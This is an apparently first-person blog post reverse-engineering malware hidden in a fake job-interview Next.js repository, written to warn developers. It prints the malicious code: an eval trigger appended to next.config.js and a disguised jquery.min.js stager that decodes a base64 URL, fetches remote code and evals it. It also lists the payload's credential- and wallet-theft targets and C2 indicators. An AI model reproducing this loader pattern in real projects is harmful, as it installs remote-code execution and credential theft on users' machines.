Reverse Engineering the ‘Next.js Job Interview’ Malware (Targeting LastPass & Crypto)
The “Clean Repo” Myth: How a Fake Job Interview Stole My Credentials via next.config.js
It started with a LinkedIn message. A recruiter named Orsena Cela (Profile) reached out with a remote opportunity for an “AI and Blockchain” startup. The process seemed standard: a professional pitch deck, a technical interview on Google Meet (with camera on), and finally, a request to review their MVP.
They shared a private GitHub repository. I checked package.json, and it had clean dependencies. I scanned the code briefly — standard Next.js structure.
I ran npm install and then npm run dev.
That was my mistake.
I wasn’t hacked by a malicious dependency. I was hacked by the project configuration itself. Here is the technical analysis of a multi-stage “Living off the Land” attack targeting developers.
The Discovery: AI Found What I Missed
Days after running the project, I decided to audit the codebase using GitHub Copilot as a security experiment. I prompted:
“Analyze the code base and find suspicious files from the security standpoint — backdoors, cryptostealers, etc.”
Copilot immediately flagged scripts/jquery.min.js. It wasn't a library. It was a loader.
Phase 1: The Trigger (next.config.js)
The attack didn’t rely on postinstall scripts, which are often flagged by security tools. Instead, it hid in the build configuration.
In Next.js, next.config.js is executed on the host machine whenever the development server starts. The attackers obfuscated fs imports to look like a variable named jmpparser.
/** @type {import('next').NextConfig} */
const jmpparser = require('fs'); // Obfuscated import
const nextConfig = {
images: {
// ... seemingly normal config ...
},
// ... headers config ...
};
module.exports = nextConfig;
// THE MALICIOUS TRIGGER
// Hidden at the very bottom of the file
jmpparser.readFile(__dirname + '/scripts/jquery.min.js', 'utf8', (err, code) => {
eval(code);
console.log(err);
});When I ran npm run dev, Next.js innocently executed this block, reading the payload from a local file and passing it to eval().
Phase 2: The Stager (Fake jquery.min.js)
The file in scripts/jquery.min.js was not jQuery. It was a compact asynchronous stager designed to bypass static analysis.
// Decoded from Base64: "https://metric-analytics.vercel.app/api/getMoralisData"
const AUTH_API_KEY = "aHR0cHM6Ly9tZXRyaWMtYW5hbHl0aWNzLnZlcmNlbC5hcHAvYXBpL2dldE1vcmFsaXNEYXRh";
(async () => {
const src = atob(AUTH_API_KEY);
// Dynamic import to avoid detection by linters
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(...);
const proxyInfo = await response.text();
eval(proxyInfo); // Execute Stage 3
} catch (err) { ... }
})();Key Observation: The attackers hosted their payload on Vercel (metric-analytics.vercel.app). This is brilliant because vercel.app is a trusted domain, often whitelisted in corporate firewalls.
Phase 3: The Dropper (Node.js)
The code downloaded from Vercel was a heavily obfuscated Node.js script. After deobfuscating it, I found it performed the following:
- Fingerprinting: Checked the OS (
darwin,win32,linux) and username. - C2 Connection: Established contact with the real Command & Control server at
93.88.74.112:1244. - Persistence: Downloaded a Python script tailored to my OS and saved it to a hidden directory (
~/.vscode/pay). - Execution: Launched the Python payload using
child_process.
Phase 4: The Payload (Python RAT)
The final payload (.vscode/pay) was a Python script packed inside 65 layers of obfuscation (XOR -> Base85 -> Zlib -> Reverse String).
Once unpacked, it revealed a sophisticated Cross-Platform InfoStealer and RAT.
Targeted Theft
The malware specifically targets developers and crypto users. It contains hardcoded logic to steal:
- LastPass: It specifically hunts for the LastPass Chrome extension database (
hdokiejnpimakedhajhdlcegeplioahd).
- Crypto Wallets: 50+ extension IDs including MetaMask, TronLink, Binance Wallet, Phantom, and Exodus.
- Browsers: Chrome, Brave, Opera, Edge, Vivaldi (cookies, passwords, history).
- SSH Keys & Configs: Scans for
.envfiles,id_rsa, and cloud credentials.
RAT Capabilities
- Shell Access: Allows the attacker to execute arbitrary terminal commands.
- File Manager: Upload/Download any file.
- AnyDesk: Can silently download and run AnyDesk for GUI access.
- Keylogger (Windows only): Contains a module using
pyWinhookto log keystrokes and clipboard content.
The Full Kill Chain
- User Action:
npm run dev - Trigger:
next.config.jsexecutes hiddeneval(). - Stager: Fake
jquery.min.jsfetches code from Vercel. - Dropper: Node.js script identifies OS and downloads Python RAT.
- Payload: Python RAT steals credentials and connects to C2.
Lessons Learned
This attack vector is dangerous because it exploits the trust we place in development environments and “clean” dependency trees.
package.jsonis not enough: You can be compromised without installing a single malicious package. Review project configuration files (next.config.js,vite.config.js,webpack.config.js).- Inspect “Vendor” Files: Never trust minified files in
scripts/orpublic/folders in a stranger's repo. - Isolate Interviews: Never run code from a job interview on your main machine. Use a VM, GitHub Codespaces, or a throwaway VPS.
- Listen to AI: Ironically, LLMs can be excellent security auditors for spotting anomalies in unfamiliar codebases.
IOCs (Indicators of Compromise)
- C2 IPs:
93.88.74.112,93.88.74.215 - Domains:
metric-analytics.vercel.app - Files:
scripts/jquery.min.js(containingeval),~/.vscode/pay,~/.n2/ - Code:
const jmpparser = require('fs')in config files.
